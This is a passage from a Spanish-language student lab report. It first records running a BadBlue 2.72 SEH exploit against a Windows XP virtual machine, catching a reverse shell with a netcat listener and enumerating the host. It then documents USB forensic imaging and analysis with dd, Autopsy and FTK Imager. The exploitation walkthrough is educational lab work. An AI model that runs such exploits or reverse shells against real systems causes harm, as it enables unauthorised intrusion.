print "[+] Payload enviado. Esperando conexión reversa en 

192.1.1.13:4444...\n"; 

 

Lo siguiente que hice fue crear el archivo encabezado utilizando el comando nano 

badblue-272-seh.pl Creamos el archivo badblue-272-seh.pl con encabezado para documentar el 

exploit de forma segura y organizada. Esto nos permite mantener un registro claro, evitar errores, 

y demostrar que el análisis se hizo de forma ética y responsable. 

 

 

Figura  289. daremos el permiso de ejecución 

  luego antes de ejecutar el exploit resultaba darle el permiso de ejecución para eso utilizo 

el comando chmod +x badblue-272-seh.pl y luego con el comando head -20 badblue-272-

seh.pl  



 

8.6.4 Ultimamos detalles para lanzar nuestro exploit 

 

Figura  290. Usé head -20 badblue-272-seh para ver las primeras líneas del exploit 

Usé head -20 badblue-272-seh para ver las primeras líneas del exploit. Ahí confirmé que 

era para BadBlue 2.72, con referencias al CVE y los autores. También vi que usa Perl y empieza 

cargando el módulo de sockets, lo que indica que se conecta por red. Todo listo para probarlo. 

 

Figura  291. Nos  aseguramos de que todo estuviera correctamente configurado probando la conexion 



 

Antes de lanzar el exploit, necesitábamos asegurarnos de que todo estuviera 

correctamente configurado. Lo primero que hice fue verificar la IP de mi máquina Kali, que sería 

la encargada de recibir la conexión reversa, esto lo hice haciendo ping de Windows XP a kali. 

 

Figura  292.  Escaneamos la red para ver el servicio 

Con ambas máquinas listas, abrí un listener en Kali usando netcat en el puerto 4444. Esto 

me permitiría recibir la shell si el exploit funcionaba correctamente. Después, ejecuté el script 

badblue-272-seh.pl, apuntando a la IP de la víctima y al puerto donde BadBlue estaba corriendo. 

El comando fue nc -lvpn 44 

 

Figura  293. listener en Kali usando netcat en el puerto 4444 

Como ya había escalado permiso ahora si lance el exploit con el comando ./badblue-272-

seh.pl 192.1.1.7 80 

Ingresamos a nuestra maquina victima   

 

Figura  294, Ingresamos a nuestra maquina victima 



 

El script respondió que el payload fue enviado y que estaba esperando la conexión 

reversa. En ese momento, todo estaba en manos del shellcode, si estaba bien configurado con mi 

IP y puerto, y si la víctima no tenía bloqueos, la conexión debería establecerse. 

 

Figura  295.Dentro de la maquina subimos a la carpeta raíz 

En este punto ya habiamos ingresado a el archivo po respositrorio de badblue, lo que hice 

luego fue subir de carpeta hasta llegar a la carpeta raiz, para ello use el comando cd .. 

8.6.4.1 Navegamos un poco para obtener información 

t  

Figura  296. Buscamos información 



 

Con la shell ya establecida, comencé a interactuar con la máquina víctima. Lo primero 

que hice fue ejecutar el comando dir para confirmar que tenía acceso al sistema de archivos. El 

resultado mostró los directorios típicos de una instalación de Windows XP, como Archivos de 

programa, Documents and Settings y Windows, además de archivos de configuración como 

autoexec.bat y config.sys, ambos con tamaño cero. 

Figura  297. Mostramos la otra parte de la información obtenida 

8.6.4.2 Culminamos nuestra explotación  

Para obtener información más detallada del sistema, ejecuté systeminfo, lo cual sí 

funcionó. El resultado confirmó que la máquina víctima era un sistema Windows XP 

Professional con Service Pack 3, compilación 2600. También se mostró el nombre del host WAY, 

el tipo de compilación y que se trataba de una estación de trabajo independiente. 



 

 

Figura  298. Culminamos mostrando el servicio en ejecución 

Para finalizar mi exploración del servicio, ejecuté el comando tasklist desde la shell 

remota. Esto me permitió visualizar los procesos activos en la máquina víctima. Entre ellos se 

encontraban procesos típicos del sistema como System Idle Process, smss.exe, csrss.exe y varios 

svchost.exe, lo que indica que el sistema estaba funcionando de forma estable en ese momento. 

 

  



 

9. Capítulo 9:  Análisis Forense  de  USB Utilizando la herramienta Autopsy en  Kali 

Linux y Windows, Uso De Ftk Imager 

 

9.1.Introducción 

En este capítulo se presenta de manera detallada el procedimiento para realizar un 

análisis forense a una memoria USB empleando herramientas especializadas que permiten 

examinar su contenido sin alterar la información original. Para ello, se trabajó con dos 

aplicaciones ampliamente reconocidas en el ámbito de la informática forense: Autopsy, ejecutado 

en el sistema operativo Kali Linux, y FTK Imager, utilizado en un entorno Windows. 

El objetivo principal de este proceso fue mostrar cómo es posible examinar, recuperar y 

preservar datos almacenados en una unidad USB, incluyendo archivos que hayan sido 

eliminados previamente por el usuario. Con Autopsy se efectuó el análisis profundo del 

dispositivo, permitiendo visualizar estructuras internas, identificar evidencia digital, y recuperar 

información borrada. Por otro lado, FTK Imager se utilizó para crear una imagen forense, es 

decir, una copia exacta y verificable del contenido de la memoria USB, garantizando que la 

investigación se realice sobre la copia y no sobre el dispositivo original. 

Todo el procedimiento se desarrolló siguiendo buenas prácticas forenses, asegurando que 

los datos no fueran modificados en ningún momento. Esto implica trabajar de forma meticulosa 

y controlada, como lo haría un perito digital en un caso real, donde cada archivo, metadato o 

rastro presente en la USB podría constituir evidencia relevante dentro de una investigación 

formal.



 

9.2.Objetivos 

9.2.1 Objetivo General 

Realizar un análisis forense completo a una memoria USB empleando las herramientas 

especializadas Autopsy y FTK Imager, con el propósito de recuperar, identificar, preservar y 

examinar de forma confiable toda la información contenida en el dispositivo. 

9.2.2 Objetivos Específicos 

• Generar una copia forense exacta del contenido de la memoria USB mediante la 

herramienta FTK Imager. 

• Examinar dicha imagen utilizando Autopsy en el entorno Kali Linux con el 

propósito de localizar, revisar y comprender los archivos presentes. 

• Registrar de forma detallada, clara y estructurada cada una de las acciones 

realizadas durante el proceso y los hallazgos obtenidos.



 

9.3.Planteamiento del Problema 

La información digital se ha convertido en uno de los recursos más valiosos para el 

mundo en general, se puede decir que el volumen de datos que movemos o almacenamos  ya sea 

en la nube o por medios físicos como pueden ser memorias USB es gigantesco, esto hace que el 

manejo adecuado de los datos adquiere una importancia crítica. El uso cotidiano de dispositivos 

portátiles de almacenamiento, como las memorias USB, facilita la transferencia de archivos, pero 

también incrementa significativamente los riesgos asociados a la pérdida, alteración o 

eliminación intencional o accidental de información relevante. Esta vulnerabilidad convierte a las 

unidades USB en elementos que con frecuencia deben ser sometidos a procesos de análisis 

forense digital dentro de investigaciones académicas, corporativas o incluso judiciales. 

Aunque existen herramientas avanzadas para realizar análisis forense, como Autopsy y 

FTK Imager, su uso adecuado requiere de conocimientos técnicos que muchos estudiantes o 

principiantes en el campo de la informática forense aún no dominan. La falta de comprensión 

sobre conceptos fundamentales como la creación de una imagen forense, la preservación de la 

integridad del dispositivo, la recuperación de archivos eliminados o el análisis de metadatos 

puede generar errores que comprometan la validez de la evidencia digital. En escenarios reales, 

una mala práctica podría provocar la alteración de datos importantes, afectando la confiabilidad 

del análisis y la utilidad de la información recolectada como posible prueba. 

En el ámbito educativo, este problema se hace aún más evidente. Aunque se enseñan los 

fundamentos teóricos de la informática forense, no siempre existe una guía clara, práctica y 

estructurada que permita a los estudiantes ejecutar un proceso de análisis completo y 

metodológicamente correcto sobre un dispositivo de almacenamiento. La ausencia de 

procedimientos detallados dificulta la comprensión de las etapas esenciales del análisis forense, 



 

como la adquisición de evidencia, la verificación de integridad, la exploración del sistema de 

archivos y la documentación de los hallazgos. 

Esta situación genera la necesidad de contar con un material que explique de manera 

clara cómo llevar a cabo el análisis forense de una memoria USB utilizando herramientas 

profesionales y entornos controlados. Por lo tanto, el presente trabajo surge como respuesta a 

dicha necesidad, proponiendo una guía detallada del proceso, desde la creación de la imagen 

forense con FTK Imager hasta el análisis profundo de la evidencia con Autopsy en Kali Linux, 

replicando un escenario realista pero seguro para el aprendizaje. El objetivo es proporcionar un 

recurso que permita fortalecer las competencias prácticas, mejorar la comprensión de los 

procedimientos forenses y asegurar que el análisis de evidencia digital se realice siguiendo 

estándares técnicos aceptados en el campo.



 

9.4.Subcapítulo 1: Análisis  Forense  Utilizando Autopsy en  Kali Linux  

 

9.4.1 Configuración de Filtros USB. 

Lo primero que debemos hacer antes de realizar nuestro análisis forense es conectar 

nuestra memoria USB y que se reconocible por nuestro pc físico. Para eso lo único que debemos 

hacer es conectar nuestra memoria e irla a buscar en el apartado de equipos. 

 

Figura  299. Revisamos que nuestro computador lea la memoria USB. 

Lo siguiente que hacemos es crear el filtro USB para ello nos vamos a configuración 

dentro de configuración ingresamos al apartado USB y te dentro de este apartado le damos en el 

botón de más que no permite agregar los dispositivos detectados por nuestro PC para este caso 

seleccionamos el general uDisk(0100) que sería nuestra memoria USB.  

 

Figura  300. Configuración de Dispositivos  USB 



 

Por último, dentro de nuestra máquina virtual de Kali Linux Ingresamos a la opción de 

dispositivos luego de nuevo al apartado USB y seleccionamos hoy muéstrame mi memoria qué 

sería la general mass storage (0100)  

 

Figura  301. Selección de la USB Desde Kali 

9.4.2 Revisión de la detección del dispositivo 

Utilizando el comando Sudo fdisk -l Podremos revisar que efectivamente nuestra 

Memoria USB b ya es detectable en desde  nuestro Kali Linux 

 

Figura  302. Identificación de Dispositivos 



 

Para identificar los dispositivos de almacenamiento conectados al sistema, primero accedí 

al modo privilegiado usando sudo su e ingresando mi contraseña en la consola. Luego, pude 

verificar la presencia del disco principal /dev/sda y de la unidad USB /dev/sdb (una memoria de 

3.75 GB), la cual corresponde al dispositivo que será analizado en el proceso forense. 

9.4.3 Creación de Hash SHA1 

 

Para generar el hash, utilizamos el algoritmo SHA-1 mediante el comando sha1sum 

aplicado directamente sobre el dispositivo USB /dev/sdb. Este proceso produce un valor hash 

único (SHA-1), el cual fue redirigido y guardado en con el nombre hash_forense.sha1, ubicado 

en el Escritorio de Kali Linux. 

 

Figura  304. Hash generado. 

Figura  303. Generación de Hash de la Memoria USB 



 

En análisis forense digital, generar un hash criptográfico es importante ya que permite 

garantizar la integridad de la evidencia. El hash funciona como una "huella digital" del 

dispositivo o archivo: si su contenido cambia, aunque sea mínimamente, el hash resultante 

también cambiará. Esto permite demostrar que la evidencia no ha sido alterada durante el 

análisis, manteniendo así su validez legal y técnica. 

9.4.4  Generamos la  Imagen de la USB 

 

Para finalizar, se empleó el comando dd if=/dev/sdb 

of=/home/kali/Escritorio/imagen_usb_forense.dd conv=noerror,sync en Kali Linux con el fin 

de generar una imagen forense bit a bit del dispositivo USB identificado como /dev/sdb. En el 

comando se define como entrada (if) el dispositivo USB y como salida (of) el archivo 

imagen_usb_forense.dd, el cual se almacena en el Escritorio. 

Además, se agregaron los parámetros conv=noerror,sync, que permiten que el proceso 

continúe aun cuando se presenten sectores defectuosos, garantizando así que la copia se realice 

de forma íntegra y sin interrupciones. 

 

Figura  306. Finalización de la Creación de la Imagen USB 

Figura  305. Creación de Imagen USB 



 

Aquí se muestra la finalización exitosa del proceso de creación de la imagen forense de la 

memoria USB. Se evidencia que se copiaron 7,866,368 bloques, equivalentes a 4.0 GB (3.8 GiB) 

de información, lo cual confirma que se obtuvo una copia completa y exacta del dispositivo. 

9.4.5  Hacemos la comparación del Hash Original e Imagen USB 

 

Figura  307. Verificación de la Imagen USB 

Después de generar la imagen forense de la memoria USB, procedimos a calcular 

nuevamente el hash SHA1, esta vez aplicado directamente al archivo imagen_usb_forense.dd 

para verificar la integridad de la copia creada. Para ello utilizamos el comando: 

sha1sum /home/kali/Escritorio/imagen_usb_forense.dd 

El comando generó el valor hash 3288c67b5ee5ad37c17731ced4d739e4fd50cd0e, 

correspondiente a la imagen forense. Este resultado confirma que la copia se realizó 

correctamente, manteniendo la integridad de los datos tal como se encontraban en el dispositivo 

original. 

9.4.6 Asignación de Permisos 

 

Figura  308. Configuración de Permisos de la Imagen 



 

Luego ejecutamos el comando chmod 777 aplicado al archivo imagen_usb_forense.dd 

ubicado en el Escritorio de Kali Linux. Con este comando se asignan permisos de lectura, 

escritura y ejecución para el propietario, el grupo y todos los demás usuarios, permitiendo así 

acceso completo al archivo de la imagen forense. 

9.4.7 Ingresamos a Autopsy 

 

Figura  309. Aplicación Autopsy 

Esta imagen muestra como ingresamos a Autopsy en el entorno de Kali Linux, aquí es 

donde aremos nuestra auditoria forense. 

9.4.7.1  Servicios de Autopsy Iniciado 

 

Figura  310. Nos logueamos en autopsy 

Luego de ingresar a autopsy lo primero que hacemos es loquearme para esto ingresamos 

nuestra contraseña de kali 



 

  

Después de ejecutaremos Autopsy lo que hiciste aquí fue levantar el servidor local de 

Autopsy para poder analizar la imagen forense desde un navegador web. Es el paso previo antes 

de crear un caso y cargar la imagen imagen_usb_forense.dd 

Figura  311. Inicialización del Servicio Web de Autopsy 



 

9.4.7.2 Página de Inicio de Autopsy 

 

Figura  312. Interfaz Principal de Autopsy 

Luego de iniciar el servidor de Autopsy en la terminal, accedimos a la interfaz web a 

través de la URL proporcionada. Desde esta pantalla principal seleccionamos la opción “Nuevo 

Caso (New Case)” para comenzar la creación del caso forense, lo cual nos permitirá 

posteriormente cargar y analizar la imagen forense de la memoria USB. 



 

9.4.7.3 Formulario de Configuración de Caso Nuevo 

 

Figura  313. Formulario para crear un caso nuevo 

Esta imagen muestra el formulario utilizado para crear un nuevo caso forense en Autopsy. 

En esta sección se diligencian los datos básicos del caso, tal como se explicó en clase. Primero se 

asigna un nombre al caso (permitiendo únicamente letras, números y símbolos). Luego se 

incluye una descripción opcional, en este caso “Análisis forense USB”. Finalmente, se ingresan 

los nombres del investigador o de los integrantes encargados del análisis. Con esta información 

se completa la configuración inicial del caso. 

 

Figura  314. Creamos un caso nuevo a partir del formulario 



 

9.4.8 Caso Creado Exitosamente en Autopsy 

 

Figura  315. Confirmación de Creación del Caso Forense 

Esta imagen confirma la creación exitosa del caso forense "CASO_2025_001_LONGA" 

en Autopsy. El sistema ha generado automáticamente el directorio del caso en /var/lib/autopsy/ 

CASO_2025_001_LONGA y el archivo de configuración core.au. El mensaje indica que el 

siguiente paso es crear un "host" para este caso, que representará el dispositivo o sistema bajo 

investigación. 

9.4.8.1 Parámetros Opcionales de Configuración 

Figura  316. Configuración Avanzada del Host 



 

Esta imagen muestra los parámetros avanzados opcionales para la configuración del host 

en Autopsy. Incluye la zona horaria, rutas de bases de datos de hashes: una para archivos 

"maliciosos" conocidos (Alert Hash Database) y otra para archivos "confiables" (Ignore Hash 

Database). 

9.4.8.2 Interfaz de Host Listo para Importar Imagen 

Pantalla de Autopsy mostrando el host "MVPTI" sin imágenes agregadas. Indica que se 

debe seleccionar "Add Image File" para importar la imagen forense de la memoria USB y 

comenzar el análisis. 

Figura  317. Host sin Imagen 



 

9.4.8.3 Formulario para Agregar Imagen Forense al Host 

Pantalla de Autopsy para importar la imagen forense. Muestra tres configuraciones: 

ubicación de la imagen (/home/kali/Escritorio/imagen_usb_forense.dd), tipo (Disco o Partición) y 

método de importación (Enlace, Copiar o Mover). Permite cargar la imagen USB para análisis. 

9.4.8.4 Configuración de Hash y Detección de Partición 

Autopsy detecta automáticamente la partición FAT32 en la imagen y solicita calcular el 

hash MD5 para verificación. Muestra detalles técnicos de la partición y continuar la importación. 

Figura  318. Configuración de Importación de Imagen 

Figura  319. Detalles de Partición y Hash 



 

9.4.8.5 Proceso de Importación de Imagen Completado 

 

Confirmación de que la imagen forense se importó correctamente en Autopsy. El sistema 

asignó IDs únicos al disco y volumen FAT32 listos para el análisis. 

9.4.8.6 Interfaz de Selección de Volumen 

 

Figura  320. Imagen Importada Exitosamente 

Figura  321. Volumen Listo para Análisis 



 

Pantalla que muestra el volumen FAT32 (C:/) importado correctamente. Permite 

seleccionar el volumen para iniciar el análisis forense con herramientas como línea de tiempo, 

integridad de imagen y bases de datos de hash. 

9.4.8.7 Opciones de Búsqueda y Navegación de Archivos 

 

Interfaz de Autopsy con herramientas para buscar directorios específicos o archivos usando 

expresiones regulares, y modo de navegación para explorar el contenido de la imagen forense. 

Figura  322.Herramientas de Búsqueda de Archivos 



 

9.4.8.8 Proceso de Cálculo de Hash MD5 de la Imagen 

Autopsy calculando el valor hash MD5 de la imagen forense para verificar su integridad 

durante el análisis. 

9.5. Subcapítulo 2: Conducto Para Descargar Autopsy en Windows 

Para poder hacer el proceso de auditoría forense con autopsy en Windows lo primero que 

debemos hacer es descargar el software necesario para poder trabajar en autopsy por ello lo que 

debemos hacer es lo siguiente. 

 

Figura  323. Cálculo de Hash MD5 

Figura  324. Página de Descarga de Autopsy 



 

 

Primero nos dirigiremos a la página oficial de descarga de Autopsy 

https://www.autopsy.com/download/ , y luego descargamos la última versión disponible  para 

Windows.  

9.5.1 Procedemos a instalar Autopsy 

 

Luego que digamos descargado el archivo Para instalar autopsy procedemos h ejecutar lo 

que nos permitirá instalar el software necesario para poder realizar nuestra auditoría forense En 

Windows. 

Figura  325. Procedemos a instalar autopsy 

https://www.autopsy.com/download/


 

9.5.1.1 Inicio del Asistente de Instalación de Autopsy 

 

 

Pantalla inicial del instalador de Autopsy para Windows. El asistente guiará al usuario con 

el proceso de instalación paso a paso. 

9.5.1.2 Configuración de Carpeta de Instalación 

Pantalla del instalador donde se define la ruta de instalación de Autopsy. Por defecto se 

instala en C:\Program Files\Autopsy-4.22.1\ pero permite cambiar la ubicación. 

Figura  326. Asistente de Instalación 

Figura  327. Selección de Directorio 



 

9.5.1.3 Confirmación del entorno para Instalar Autopsy 

 

Se muestra la confirmación  del asistente confirmando que está listo para instalar Autopsy. 

Permite revisar configuraciones antes de iniciar la instalación definitiva. 

9.5.1.4 Finalización Exitosa de la Instalación 

 

Finalmente, mostramos como se confirma la instalación exitosa de Autopsy. Al hacer clic 

en "Finish" se cierra el asistente y el programa queda listo para usar. 

Figura  328. Confirmación de Instalación 

Figura  329. Instalación Completada del software 



 

9.5.2 Configuración de Carpetas Compartidas 

 

Pantalla de configuración de VirtualBox mostrando la sección de Carpetas compartidas. 

Desde aquí se puede definir la ruta de la carpeta compartida entre Windows y la máquina virtual 

para transferir archivos. 

9.5.2.1 Creación de Carpeta en Windows 

 

Figura  330. Configuración de Carpetas Compartidas 

Figura  331. Creamos una Carpeta "Autopsy" Creada 



 

Para crear la carpeta compartida seguimos el mismo proceso realizado al momento de 

crear la carpeta de Windows XP, la imagen anterior muestra al Explorador de Windows 

mostrando como se creó la carpeta Autopsy, creada dentro del directorio de SEGURIDAD Y 

AUDITORIA DE RED. Esta carpeta servirá para almacenar y organizar los archivos, incluyendo 

la imagen de la memoria USB. 

9.5.2.2 Agregando Carpeta Compartida 

 

Luego en esta ventana de VirtualBox para añadir la carpeta Autopsy como recurso 

compartido. Se configura con montaje automático y permanente para acceso continuo entre 

Windows y la máquina virtual. 

Figura  332.Configuración de Carpeta Compartida 



 

9.5.2.3 Carpeta Autopsy Correctamente Compartida 

Configuración de VirtualBox mostrando la carpeta Autopsy ya agregada como recurso 

compartido con acceso completo y automontaje, permitiendo transferir archivos entre Windows y 

Kali Linux. 

9.5.2.4 Transferimos los Archivos a la Carpeta Compartida 

 

mostramos los dos archivos forenses transferidos desde Kali Linux: hash_forense.sha1 

y imagen_usb_forense.dd, listos para ser analizados con Autopsy en Windows. 

Figura  333. Carpeta Compartida Configurada 

Figura  334. Archivos Transferidos a Windows 



 

9.5.2.5 Archivos Disponibles en Windows 

Carpeta Autopsy en Windows mostrando los archivos forenses transferidos: el hash SHA1 

de verificación y la imagen forense DD, listos para ser analizados con Autopsy en Windows. 

Abrimos la Pantalla de Inicio de Autopsy en Windows

 

Figura  336. Interfaz Principal de Autopsy Windows 

Interfaz gráfica de Autopsy en Windows mostrando las opciones para crear nuevo caso o 

abrir caso existente. Desde aquí se inicia el análisis forense de la imagen USB importada dándole 

en nuevo caso. 

Figura  335. Archivos Forenses en Windows 



 

9.5.3 Creación del Caso nuevo caso  

 

Figura  337. Configuración del Caso en Windows 

Pantalla de Autopsy Windows para configurar el nuevo caso forense. Se define el nombre 

del caso y el directorio base donde se almacenarán todos los datos del análisis en la carpeta 

Autopsy. 

9.5.3.1 Rellenamos los metadatos para Caso Forense 

 

Figura  338.Información Adicional del Caso 

Luego llenamos el formulario completado con información opcional del caso: número 

de caso, datos del analista (Kevin Jaramillo), contacto y notas descriptivas para documentación 

forense. 



 

9.5.3.2 Configuración de Host  

 

Figura  339. Selección de Host 

Pantalla de Autopsy para definir el host que organizará la fuente de datos. Permite generar 

nombre automático, especificar uno nuevo o usar host existente para el análisis forense. 

9.5.3.3 Selección de Tipo de Fuente de Datos 

 

Figura  340. Tipo de Fuente de Datos 

Además mostramos la pantalla para elegir el tipo de fuente de datos. Se selecciona Disk 

Image or VM File para cargar la imagen forense DD de la memoria USB en Autopsy. 



 

9.5.3.4 Se Carga el Archivo de Imagen Forense .dd 

 

Figura  341. Selección de Imagen Forense 

Luego  lo que se hace es seleccionar la imagen forense imagen_usb_forense.dd desde la 

carpeta compartida, que será analizada como fuente principal del caso. 

9.5.3.5 Selección de Parámetros de la Imagen y Hash de Verificación 

 

Figura  342. Selección de Parámetros de la Imagen y Hash de Verificación 

aquí mostramos la pantalla de configuración mostrando la ruta de la imagen forense, zona 

horaria Bogotá, y el hash SHA-1 previamente calculado para verificación durante el análisis en 

Autopsy. 



 

9.5.3.6 Selección de Módulos para Análisis 

 

Figura  343. Módulos de Análisis 

Lo siguiente es realizar la configuración de módulos de Autopsy donde se seleccionan las 

herramientas de análisis para examinar la imagen forense de manera automatizada. 

9.5.3.7 Se carga Imagen Forense  

 

Figura  344. Se carga Imagen Forense y la fuente de  Datos Agregada 

Aquí miramos la confirmación de que la imagen forense ha sido agregada exitosamente a 

la base de datos de Autopsy y está siendo analizada automáticamente por los módulos de ingesta 

seleccionados. 



 

9.5.4 Interfaz de Análisis de Autopsy 

 

Figura  345. Análisis en Progreso 

Autopsy Windows mostrando el análisis en tiempo real de la imagen forense. La barra de 

progreso indica 100% completado 

9.5.5 Archivos Recuperados de la Memoria USB 

 

Figura  346. Resultados del Análisis Forense 

Por último,  mostrando los  archivos recuperados de la memoria USB, incluyendo 

documentos PDF, Word, imágenes de WhatsApp y archivos de texto. 



 

9.5.6 Extracción de Archivos desde la Imagen Forense 

 

Figura  347. Exportación de Archivos Recuperados 

Lo siguiente que hicimos fue buscar la opción Extract File(s) para exportar los  archivos 

recuperados de la imagen forense. 

9.5.6.1 Exportación de Archivo PDF Recuperado 

 

Figura  348. Guardando Archivo Extraído 

Aquí se evidencia la ventana de guardar mostrando la extracción del archivo "Proteccion-

de-datos-personales U NAL.pdf" desde la imagen forense hacia la carpeta Autopsy en Windows. 



 

 

Figura  349. Extracción Exitosa 

Finalmente, obtuvimos el mensaje de confirmación de Autopsy indicando que el 

archivo PDF ha sido extraído exitosamente de la imagen forense y guardado en el sistema de 

archivos de Windows. 

9.6.Subcapítulo 3: Descarga de FTK Imager 

Para descargar FTK Imager lo que debemos hacer es ir a nuestro navegador y buscar el 

sitio oficial de este software. 

 

Figura  350. Página de Descarga de FTK Imager 

Dentro de la Página oficial  buscamos la opción de descargar FTK Imager 4.7.3.81, 

herramienta profesional para creación de imágenes forenses. 

 



 

 

9.6.1 Formulario de Registro para descargar FTK Imager 

 

Figura  351. Descarga de FTK Imager Pro 

Página de registro para descargar FTK Imager Pro 8.2, versión avanzada con capacidades 

forenses mejoradas. Se completan los datos de la persona (Kevin Jaramillo) y la institución 

(Universidad Tecnológica del Chocó) para obtener el software. 

9.6.2 Confirmamos  la Descarga de FTK Imager 

 

Figura  352.Descarga Exitosa FTK Imager 

Luego obtuvimos un mensaje de éxito confirmando que la descarga de FTK Imager Pro 

8.2 ha comenzado automáticamente. 



 

9.6.2.1 Descompresión del Instalador de FTK Imager 

 

Figura  353. Extracción de Archivos de FTK Imager 

Después que descargamos el archivo hicimos la extracción de los archivos comprimidos 

de FTK Imager en la carpeta de Descargas, preparando los archivos necesarios para la 

instalación del software forense. 

9.6.3 Instalación de CodeMeter Runtime para FTK Imager 

 

Figura  354. Instalamos los archivos necesarios 

Luego realizamos la instalación del asistente CodeMeter Runtime 8.20 como requisito 

previo para FTK Imager. Este componente es necesario para la gestión de licencias y seguridad 

del software forense. 



 

9.6.4 Instalación de Exterro FTK Imager 

 

Figura  355. Asistente de Instalación FTK Imager 

Pantalla de bienvenida del asistente de instalación de FTK Imager, mostrando la 

advertencia de protección por derechos de autor antes de comenzar la instalación del software 

forense. 

 

Figura  356. Acuerdo de Licencia términos y condiciones 



 

Pantalla del acuerdo de licencia que debe ser aceptado para continuar con la instalación de 

FTK Imager. El usuario debe marcar la casilla de aceptación de términos antes de proceder con la 

instalación del software. 

 

Figura  357. Carpeta de Destino 

Obtuvimos esta pantalla en la que se realiza la selección de carpeta de destino para 

FTK Imager. Por defecto se instala en C:\Program Files\AccessData\ y se da la opción de 

excluir la ruta en Windows Defender para evitar interferencias durante el análisis forense. 

 

Figura  358. Listo para Instalar 

Se muestra la Pantalla final del asistente confirmando que está listo para instalar FTK 

Imager. 



 

9.6.4.1 Finalización Exitosa de la Instalación 

 

Figura  359. Instalación Completada 

Ya en este punto se había hecho una instalación exitosa de FTK Imager. La casilla 

"Launch Exterro FTK Imager" permite abrir el software inmediatamente para comenzar el 

análisis forense de la memoria USB. 

9.6.5 Crearcion de la Imagen en FTK Imager  

 

Figura  360. Interfaz Principal FTK Imager 

Antes de realizar el proceso de análisis forense ingresamos a FTK y se nos mostró esta 

interfaz. La interfaz principal de FTK Imager contiene el árbol de evidencia y opciones para 

crear nuevas imágenes forenses. 



 

9.6.5.1 Configuración de Fuente de Evidencia 

 

Figura  361. Selección de Tipo de Fuente 

Luego, realizamos la selección de tipo de evidencia en FTK Imager. Se elige "Image 

File" para cargar y analizar la imagen forense previamente creada de la memoria USB. 

9.6.5.2 Cargando Archivo de Imagen DD en FTK Imager 

 

Figura  362. Selección de Imagen Forense 

En FTK Imager para seleccionamos la imagen forense imagen_usb_forense.dd desde la 

carpeta Autopsy. 



 

9.6.5.3 Fuente de Evidencia Definida en FTK Imager 

 

Figura  363.Ruta de Evidencia Configurada 

Después en FTK Imager utilizamos  la ruta de la imagen forense ya configurada. La 

herramienta está lista para cargar y analizar el archivo imagen_usb_forense.dd desde la ubicación 

especificada en el directorio. 

9.6.5.4 Contenido de la Memoria USB en FTK Imager. 

 

Figura  364. Análisis de Imagen en FTK Imager 

Dentro de FTK Imager mostramos el análisis detallado de la imagen forense. Se 

visualizan documentos, imágenes de WhatsApp y archivos de PDF. 
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9.6.6 Archivos Exportado Correctamente 

 

Figura  365. Exportación Exitosa 

Por último, mostramos el mensaje de confirmación que indica que exportamos los 

archivos de forma correcta, cerrando así este sección y la culminación de la práctica.  
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Recomendaciones  

• Mantener siempre un enfoque ético y académico: Todas las prácticas de 

reconocimiento, explotación y análisis deben ejecutarse únicamente en entornos 

controlados y autorizados, como máquinas virtuales o laboratorios diseñados para 

este fin. Esto garantiza que los ejercicios no afecten sistemas reales ni vulneren la 

ley. 

• Documentar cada laboratorio detalladamente: Registrar comandos, versiones, 

configuraciones, resultados y fallas encontradas ayuda a comprender mejor los 

procesos y permite detectar errores más fácilmente en prácticas futuras. 

• Actualizar periódicamente las herramientas de auditoría: Suites como Nmap, 

Metasploit, Aircrack-ng, Hydra o Wireshark deben mantenerse actualizadas para 

evitar incompatibilidades y asegurar que se disponga de las últimas funciones y 

parches de seguridad. 

• Realizar prácticas de endurecimiento (hardening): Después de aprender a 

explotar vulnerabilidades, es recomendable aplicar contra-medidas en las 

máquinas virtuales para reforzar la seguridad: desactivar servicios innecesarios, 

actualizar sistemas, implementar reglas de firewall, mejorar políticas de 

contraseñas, etc. 

• Utilizar múltiples distribuciones y entornos de prueba: Combinar máquinas 

vulnerables como Metasploitable, Lampião o FristiLeaks con sistemas como 

Edubuntu, Windows XP o Kali Linux amplía la comprensión de las diferentes 

superficies de ataque y defensa. 
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• Comprobar siempre la conectividad y la configuración de red antes de 

comenzar: Muchos errores durante los laboratorios suelen estar relacionados con 

adaptadores mal configurados, IPs incorrectas o falta de comunicación entre 

máquinas virtuales. Verificar esto antes de iniciar evita pérdida de tiempo. 

• Realizar prácticas adicionales por fuera de clase: Repetir los laboratorios sin la 

guía del docente fortalece la memoria operativa, mejora la comprensión de los 

comandos y desarrolla independencia técnica. 
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Conclusión 

El desarrollo de este tomo académico permitió consolidar los conocimientos impartidos 

en la asignatura Seguridad y Auditoría de Redes durante el periodo 2025-1. A través de múltiples 

prácticas en entornos virtualizados, se logró comprender de manera integral el funcionamiento de 

herramientas de análisis, enumeración, explotación y diagnóstico de vulnerabilidades. Cada 

laboratorio, desde el reconocimiento de servicios con Nmap hasta la explotación de sistemas con 

Metasploit o la revisión de configuraciones inseguras, aportó a la formación de competencias 

reales en ciberseguridad ofensiva y defensiva. 

El trabajo también evidenció la importancia de la disciplina, la documentación adecuada 

y la correcta configuración de entornos de red, ya que gran parte de los problemas surgidos 

durante el proceso se relacionaron con configuraciones incorrectas, instalaciones incompletas o 

adaptadores de red mal gestionados. Estas dificultades, lejos de representar un obstáculo 

negativo, se convirtieron en oportunidades valiosas para reforzar la práctica, el razonamiento 

lógico y la capacidad de resolver incidentes técnicos. 

En última instancia, este informe refleja el avance académico logrado y sirve como guía 

de referencia para futuros ejercicios de auditoría, demostrando la relevancia de la ética, el 

aprendizaje continuo y el dominio de herramientas técnicas dentro del campo de la seguridad 

informática. 
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Todas las prácticas descritas en este tomo fueron realizadas exclusivamente con fines 

académicos, dentro de entornos controlados y autorizados. El conocimiento aquí presentado no 

debe utilizarse para actividades ilícitas o no autorizadas. El propósito de este trabajo es fortalecer 

las competencias en seguridad informática desde una perspectiva ética y responsable. 

 

“La seguridad no es un producto; es un proceso continuo.” — Bruce Schneier 
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